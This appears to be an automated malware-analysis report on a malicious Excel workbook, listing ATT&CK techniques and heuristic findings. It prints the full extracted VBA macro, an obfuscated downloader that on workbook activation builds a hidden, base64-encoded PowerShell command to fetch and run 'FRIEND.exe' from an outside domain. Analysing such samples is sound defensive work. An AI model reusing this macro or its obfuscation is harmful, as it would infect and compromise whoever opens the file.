MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1204.002 Malicious File
The VBA macro contains obfuscated strings that, when reassembled, form a command to execute PowerShell. This PowerShell command is designed to download a file named 'FRIEND.exe' from 'www.samilight-er.com' and execute it. The use of split string literals for API names like 'powershell' and the obfuscated base64 encoded command indicate a downloader pattern.
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2567 bytes |
SHA-256: e9cc7db68a63c1d8ae7a5a18394078b4d5daf3c02c1d356ebd4872de6bcd8e6c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
On Error Resume Next
Dim bat As String
Dim s As String
s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "
s = s + "JABQAHIAbwBjAE4AYQ"
s = s + "BtAGUAIAA9ACAAIgBL"
s = s + "AGgAZAB5AHUAaQB0AH"
s = s + "EAYwB2AC4AZQB4AGUA"
s = s + "IgA7ACgATgBlAHcALQ"
s = s + "BPAGIAagBlAGMAdAAg"
s = s + "AFMAeQBzAHQAZQBtAC"
s = s + "4ATgBlAHQALgBXAGUA"
s = s + "YgBDAGwAaQBlAG4AdA"
s = s + "ApAC4ARABvAHcAbgBs"
s = s + "AG8AYQBkAEYAaQBsAG"
s = s + "UAKAAiAGgAdAB0AHAA"
s = s + "cwA6AC8ALwB3AHcAdw"
s = s + "AuAHMAYQBtAGwAaQBn"
s = s + "AGgAdABlAHIALgBjAG"
s = s + "8AbQAvAEYAUgBJAEUA"
s = s + "TgBEAC4AZQB4AGUAIg"
s = s + "AsACIAJABlAG4AdgA6"
s = s + "AEEAUABQAEQAQQBUAE"
s = s + "EAXAAkAFAAcgBvAGMA"
s = s + "TgBhAG0AZQAiACkAOw"
s = s + "BTAHQAYQByAHQALQBQ"
s = s + "AHIAbwBjAGUAcwBzAC"
s = s + "AAKAAiACQAZQBuAHYA"
s = s + "OgBBAFAAUABEAEEAVA"
s = s + "BBAFwAJABQAHIAbwBj"
s = s + "AE4AYQBtAGUAIgApAA"
s = s + "=="
Dim x As Double
ActiveWorkbook.Save
bat = "Ijapqnfcnxoh.bat"
Open bat For Output As #1
Print #1, s
Close #1
x = Shell(bat, 0)
End Sub
Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Learn more"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.